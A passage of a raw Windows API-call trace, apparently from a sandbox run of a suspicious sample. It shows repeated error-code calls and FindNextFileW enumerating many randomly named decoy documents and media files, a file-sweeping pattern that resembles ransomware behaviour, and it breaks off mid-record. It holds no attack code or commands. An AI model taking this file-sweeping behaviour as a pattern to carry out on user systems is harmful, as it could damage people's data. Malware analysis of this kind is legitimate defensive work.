[0039.889] SetLastError (dwErrCode=0x0) [0039.889] GetLastError () returned 0x0 [0039.889] SetLastError (dwErrCode=0x0) [0039.889] GetLastError () returned 0x0 [0039.889] SetLastError (dwErrCode=0x0) [0039.889] GetLastError () returned 0x0 [0039.889] SetLastError (dwErrCode=0x0) [0039.889] GetLastError () returned 0x0 [0039.889] SetLastError (dwErrCode=0x0) [0039.889] GetLastError () returned 0x0 [0039.889] SetLastError (dwErrCode=0x0) [0039.890] GetLastError () returned 0x0 [0039.890] SetLastError (dwErrCode=0x0) [0039.890] GetLastError () returned 0x0 [0039.890] SetLastError (dwErrCode=0x0) [0039.890] GetLastError () returned 0x0 [0039.890] SetLastError (dwErrCode=0x0) [0039.890] GetLastError () returned 0x0 [0039.890] SetLastError (dwErrCode=0x0) [0039.890] GetLastError () returned 0x0 [0039.890] SetLastError (dwErrCode=0x0) [0039.890] GetLastError () returned 0x0 [0039.890] SetLastError (dwErrCode=0x0) [0039.890] GetLastError () returned 0x0 [0039.890] SetLastError (dwErrCode=0x0) [0039.890] GetLastError () returned 0x0 [0039.890] SetLastError (dwErrCode=0x0) [0039.890] GetLastError () returned 0x0 [0039.890] SetLastError (dwErrCode=0x0) [0039.890] GetLastError () returned 0x0 [0039.890] SetLastError (dwErrCode=0x0) [0039.890] GetLastError () returned 0x0 [0039.890] SetLastError (dwErrCode=0x0) [0039.890] GetLastError () returned 0x0 [0039.890] SetLastError (dwErrCode=0x0) [0039.890] GetLastError () returned 0x0 [0039.891] SetLastError (dwErrCode=0x0) [0039.891] GetLastError () returned 0x0 [0039.891] SetLastError (dwErrCode=0x0) [0039.891] GetLastError () returned 0x0 [0039.891] SetLastError (dwErrCode=0x0) [0039.891] GetLastError () returned 0x0 [0039.891] SetLastError (dwErrCode=0x0) [0039.891] GetLastError () returned 0x0 [0039.891] SetLastError (dwErrCode=0x0) [0039.891] GetLastError () returned 0x0 [0039.891] SetLastError (dwErrCode=0x0) [0039.891] GetLastError () returned 0x0 [0039.891] SetLastError (dwErrCode=0x0) [0039.891] GetLastError () returned 0x0 [0039.891] SetLastError (dwErrCode=0x0) [0039.891] GetLastError () returned 0x0 [0039.891] SetLastError (dwErrCode=0x0) [0039.891] GetLastError () returned 0x0 [0039.891] SetLastError (dwErrCode=0x0) [0039.891] GetLastError () returned 0x0 [0039.891] SetLastError (dwErrCode=0x0) [0039.891] GetLastError () returned 0x0 [0039.891] SetLastError (dwErrCode=0x0) [0039.891] GetLastError () returned 0x0 [0039.892] SetLastError (dwErrCode=0x0) [0039.892] GetLastError () returned 0x0 [0039.892] SetLastError (dwErrCode=0x0) [0039.892] GetLastError () returned 0x0 [0039.892] SetLastError (dwErrCode=0x0) [0039.892] GetLastError () returned 0x0 [0039.892] SetLastError (dwErrCode=0x0) [0039.892] GetLastError () returned 0x0 [0039.892] SetLastError (dwErrCode=0x0) [0039.892] GetLastError () returned 0x0 [0039.892] SetLastError (dwErrCode=0x0) [0039.892] GetLastError () returned 0x0 [0039.892] SetLastError (dwErrCode=0x0) [0039.892] GetLastError () returned 0x0 [0039.892] SetLastError (dwErrCode=0x0) [0039.892] GetLastError () returned 0x0 [0039.892] SetLastError (dwErrCode=0x0) [0039.892] GetLastError () returned 0x0 [0039.892] SetLastError (dwErrCode=0x0) [0039.892] GetLastError () returned 0x0 [0039.892] SetLastError (dwErrCode=0x0) [0039.892] GetLastError () returned 0x0 [0039.892] SetLastError (dwErrCode=0x0) [0039.892] GetLastError () returned 0x0 [0039.892] SetLastError (dwErrCode=0x0) [0039.893] GetLastError () returned 0x0 [0039.893] SetLastError (dwErrCode=0x0) [0039.893] GetLastError () returned 0x0 [0039.893] SetLastError (dwErrCode=0x0) [0039.893] GetLastError () returned 0x0 [0039.893] SetLastError (dwErrCode=0x0) [0039.893] GetLastError () returned 0x0 [0039.893] SetLastError (dwErrCode=0x0) [0039.893] GetLastError () returned 0x0 [0039.893] SetLastError (dwErrCode=0x0) [0039.893] GetLastError () returned 0x0 [0039.893] SetLastError (dwErrCode=0x0) [0039.893] GetLastError () returned 0x0 [0039.893] SetLastError (dwErrCode=0x0) [0039.893] GetLastError () returned 0x0 [0039.893] SetLastError (dwErrCode=0x0) [0039.893] GetLastError () returned 0x0 [0039.893] SetLastError (dwErrCode=0x0) [0039.893] GetLastError () returned 0x0 [0039.893] SetLastError (dwErrCode=0x0) [0039.893] GetLastError () returned 0x0 [0039.893] SetLastError (dwErrCode=0x0) [0039.893] GetLastError () returned 0x0 [0039.893] SetLastError (dwErrCode=0x0) [0039.893] GetLastError () returned 0x0 [0039.894] SetLastError (dwErrCode=0x0) [0039.894] GetLastError () returned 0x0 [0039.894] SetLastError (dwErrCode=0x0) [0039.894] GetLastError () returned 0x0 [0039.894] SetLastError (dwErrCode=0x0) [0039.894] GetLastError () returned 0x0 [0039.894] SetLastError (dwErrCode=0x0) [0039.894] GetLastError () returned 0x0 [0039.894] SetLastError (dwErrCode=0x0) [0039.894] GetLastError () returned 0x0 [0039.894] SetLastError (dwErrCode=0x0) [0039.894] GetLastError () returned 0x0 [0039.894] SetLastError (dwErrCode=0x0) [0039.894] GetLastError () returned 0x0 [0039.894] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1ccb21d, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a6a0c5, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1ccb21d, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x12cd5, dwReserved0=0x0, dwReserved1=0x0, cFileName="lDq8f54d4hhCIri7rU.rtf", cAlternateFileName="")) returned 1 [0039.894] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1cc15db, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a60485, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1cc15db, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x15208, dwReserved0=0x0, dwReserved1=0x0, cFileName="gkNzsfx.odt", cAlternateFileName="")) returned 1 [0039.897] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1ce86e1, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a87586, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1ce86e1, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xb863, dwReserved0=0x0, dwReserved1=0x0, cFileName="uX9C3BTlu7W5CJLwms.ppt", cAlternateFileName="")) returned 1 [0039.897] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1ce86e1, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a87586, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1ce86e1, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xbe68, dwReserved0=0x0, dwReserved1=0x0, cFileName="vKgP03.mp3", cAlternateFileName="")) returned 1 [0039.897] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1cadd58, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a42fc4, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1cadd58, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x17c8d, dwReserved0=0x0, dwReserved1=0x0, cFileName="a7jth.jpg", cAlternateFileName="")) returned 1 [0039.897] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1cf2322, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a911c7, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1cf2322, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x158c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="zYMAYhHoRyK6PFynZFc.mkv", cAlternateFileName="")) returned 1 [0039.897] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c55f0c, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449ba440, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c55f0c, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x1546a, dwReserved0=0x0, dwReserved1=0x0, cFileName="EGXGDc6zOuTQrpM.gif", cAlternateFileName="")) returned 1 [0039.897] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c38a47, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44975e7e, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c38a47, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xf284, dwReserved0=0x0, dwReserved1=0x0, cFileName="2E6UGCq.doc", cAlternateFileName="")) returned 1 [0039.897] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1ccb21d, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a73d06, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1ccb21d, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x13179, dwReserved0=0x0, dwReserved1=0x0, cFileName="nCFz76aqfOi4GGvs9d9.m4a", cAlternateFileName="")) returned 1 [0039.897] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c4c2ca, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449b0800, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c4c2ca, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x5140, dwReserved0=0x0, dwReserved1=0x0, cFileName="C9OE6MiLKOuTz5.avi", cAlternateFileName="")) returned 1 [0039.897] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1cadd58, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a4cc05, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1cadd58, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xaf7f, dwReserved0=0x0, dwReserved1=0x0, cFileName="b13UpS9k3v.swf", cAlternateFileName="")) returned 1 [0039.898] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c6978f, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449d7901, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c6978f, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x577b, dwReserved0=0x0, dwReserved1=0x0, cFileName="MM3Rngzs9r6yCyV.csv", cAlternateFileName="")) returned 1 [0039.898] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1ccb21d, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a73d06, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1ccb21d, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x15886, dwReserved0=0x0, dwReserved1=0x0, cFileName="mcLK0zRep8.ots", cAlternateFileName="")) returned 1 [0039.898] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1cd4e5e, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a73d06, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1cd4e5e, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xab34, dwReserved0=0x0, dwReserved1=0x0, cFileName="p7Ha2r1u6wluhJ.pptx", cAlternateFileName="")) returned 1 [0039.898] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1cc15db, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a60485, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1cc15db, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x8b6e, dwReserved0=0x0, dwReserved1=0x0, cFileName="iJonu6wFMMd.bmp", cAlternateFileName="")) returned 1 [0039.898] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c6978f, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449cdcc1, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c6978f, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xbd6e, dwReserved0=0x0, dwReserved1=0x0, cFileName="KeH2iEJnN7k1r.odt", cAlternateFileName="")) returned 1 [0039.898] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c42689, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449896ff, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c42689, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x140ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="9lpH4LUvBOFfSshu6h.csv", cAlternateFileName="")) returned 1 [0039.898] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c38a47, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44975e7e, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c38a47, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x13a59, dwReserved0=0x0, dwReserved1=0x0, cFileName="2XXFjQNQ26X8Wc.swf", cAlternateFileName="")) returned 1 [0039.898] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c6978f, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449cdcc1, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c6978f, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xd32d, dwReserved0=0x0, dwReserved1=0x0, cFileName="KLswtt0JPiPQkCC6R3Lm.m4a", cAlternateFileName="")) returned 1 [0039.898] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1cadd58, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a4cc05, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1cadd58, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x9304, dwReserved0=0x0, dwReserved1=0x0, cFileName="bVYQpQ1.mp4", cAlternateFileName="")) returned 1 [0039.898] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1cd4e5e, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a73d06, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1cd4e5e, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xd722, dwReserved0=0x0, dwReserved1=0x0, cFileName="pQaKrG.pptx", cAlternateFileName="")) returned 1 [0039.898] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c4c2ca, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449896ff, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c4c2ca, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xf4a2, dwReserved0=0x0, dwReserved1=0x0, cFileName="AzVWpbVP.doc", cAlternateFileName="")) returned 1 [0039.899] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c55f0c, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449c4080, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c55f0c, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x11b85, dwReserved0=0x0, dwReserved1=0x0, cFileName="EmJj9nJ.pptx", cAlternateFileName="")) returned 1 [0039.899] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1cb799a, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a60485, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1cb799a, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xadfb, dwReserved0=0x0, dwReserved1=0x0, cFileName="fUgAWuSkZ3EbpCZ5Rvs.gif", cAlternateFileName="")) returned 1 [0039.899] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c6978f, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449d7901, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c6978f, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x6fbf, dwReserved0=0x0, dwReserved1=0x0, cFileName="MwAvirxPiQV.swf", cAlternateFileName="")) returned 1 [0039.899] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1ce86e1, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a87586, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1ce86e1, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x1339b, dwReserved0=0x0, dwReserved1=0x0, cFileName="vfiyj.gif", cAlternateFileName="")) returned 1 [0039.899] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c86c53, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449eb182, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c86c53, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x1526f, dwReserved0=0x0, dwReserved1=0x0, cFileName="USKBVwnLaYIUmcn.mp4", cAlternateFileName="")) returned 1 [0039.899] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1cdea9f, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a7d946, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1cdea9f, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x86dd, dwReserved0=0x0, dwReserved1=0x0, cFileName="s6JQB.pptx", cAlternateFileName="")) returned 1 [0039.899] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1cdea9f, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a87586, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1cdea9f, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x9f6f, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl70jWmP2ggACy.png", cAlternateFileName="")) returned 1 [0039.899] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c6978f, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449d7901, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c6978f, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xab59, dwReserved0=0x0, dwReserved1=0x0, cFileName="NBAT3tYNBcHdC.ppt", cAlternateFileName="")) returned 1 [0039.899] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1cadd58, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a56845, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1cadd58, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x690b, dwReserved0=0x0, dwReserved1=0x0, cFileName="cdHLWs2KE.docx", cAlternateFileName="")) returned 1 [0039.899] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c7d011, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449e1541, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c7d011, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xf37f, dwReserved0=0x0, dwReserved1=0x0, cFileName="SHCEF.gif", cAlternateFileName="")) returned 1 [0039.900] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c733d0, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449e1541, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c733d0, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xfcb7, dwReserved0=0x0, dwReserved1=0x0, cFileName="P6tWitG0.ppt", cAlternateFileName="")) returned 1 [0039.900] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1cadd58, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a42fc4, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1cadd58, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xa32d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZcPV3qk7PkeQOKKV.xls", cAlternateFileName="")) returned 1 [0039.900] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1ca4117, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449f4dc2, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1ca4117, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x134dd, dwReserved0=0x0, dwReserved1=0x0, cFileName="X18sQ2pVfY.mp3", cAlternateFileName="")) returned 1 [0039.900] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c55f0c, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449ba440, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c55f0c, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xb1b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="EOk7P095P.xls", cAlternateFileName="")) returned 1 [0039.900] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c4c2ca, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449a6bc0, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c4c2ca, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x5bc5, dwReserved0=0x0, dwReserved1=0x0, cFileName="BDK13uXlqscCs2sGFIQ.doc", cAlternateFileName="")) returned 1 [0039.900] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1cd4e5e, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a73d06, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1cd4e5e, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x14f79, dwReserved0=0x0, dwReserved1=0x0, cFileName="ow3Vle4.swf", cAlternateFileName="")) returned 1 [0039.900] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, 